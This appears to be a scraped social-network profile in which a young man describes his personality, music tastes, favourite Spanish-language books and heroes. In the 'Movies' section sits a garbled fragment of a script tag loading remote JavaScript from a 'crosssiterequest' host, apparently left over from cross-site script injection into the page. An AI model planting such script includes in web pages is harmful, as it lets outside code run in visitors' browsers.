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Juanito De La Chingada

I'll fight corruption with punches!!!

About Me

I do the shit out of things...I am the question to your answer. Calm, cool, and collected, I exude confidence. I know how to use it. I believe in wit, charm, and intelligence. All my friends “get it.” As a wise-ass, I laugh when things aren’t perfect. I strive for perfection. Spontaneity turns me on. I make lemonade out of lemons, wine out of grapes and jungle juice on my back deck. I travel in a pack because I want to, not because I need to. I flirt on the first date. I appreciate life and live every minute to its fullest. I have an insatiable appetite for change and challenge. I avoid strangers by introducing myself. To me, subtle is sexy and a smirk often overpowers a smile. I never forget the dash…I’m a wise-ass."I also would like to meet anyone that's trying to retire by twnety four or their next birthday....serioulsly...fo real tho'....If you want to know...just ask...P.S- I also like to sing and write songs in spanish (or at least attempt to)...with a little bit of spanglis here and there since the diffusion of two distinct languages spawned it....if you wanna join along in la borrachera...hit me up....hasta la proxima Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Sneaking onto rooftops in NYC, Living, eating, breathing, learning, rocking, rolling, loving, drinking, funtime endeviors, bailing friends outta jail, yankee baseball, cee-loo, putting a smile on people's faces and everything awesome under the big black sun

I'd like to meet:

I would love to have a drink and talk baseball with Harry Doyle and Play a couple of Freedom fighting songs with Los Torogoces de Morazan....but other than that... They're all either in jail or dead.... but in the mean time... all other wise-ass, guff talkin, hard workin' people who think that they're king shit of fuck mountain.... Or probably someone like you.....

Music:

That good ol' rock n roll, Reggae rock, or anything with a thumping backbeat...also, if you know of any cool spanish rock bands, punk bands, or any bands within that new gypsy punk movement, PLEASE let me know...I will forever bestow my prays for you at night....

Movies:

not a big movie buff...I don't watch movies by myself....I feel like a loser whenever I do...I already spend enough time by myself as is...que lastima.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}..

Books:

As of now my favorite book is "Las Mil y una historia de Radio Venceremos" by Jose Ignacio Lopez Vigil....it's a book about a clandestine guerilla radio station that broadcasted from El Salvador during their Civil War told from roughly 4-5 different perspectives of the broadcasting team/guerilla fighters...It's a really awesome read...You'll want to fight the pueblo's fight after reading this one....if you can read in Spanish I would suggest you get on that cabrones...if not...que lastima...Cien anos de solidad Marquez, Ficcones Borges, Tristessa Kerouac, anything by David Sedaris, Jorge Ramos (for making me feel like an empowered Latino and opposed to a problematic one) the music of nature by Zhuang Zi (really awesome comic book about the teachings of one of the original Taoist ganstas sucka....and others that would be too long to list

Heroes:

Anyone who has died doing what they truly loved....no matter how insane, asinine, valiant, or heroic it is....and Howard Cosell..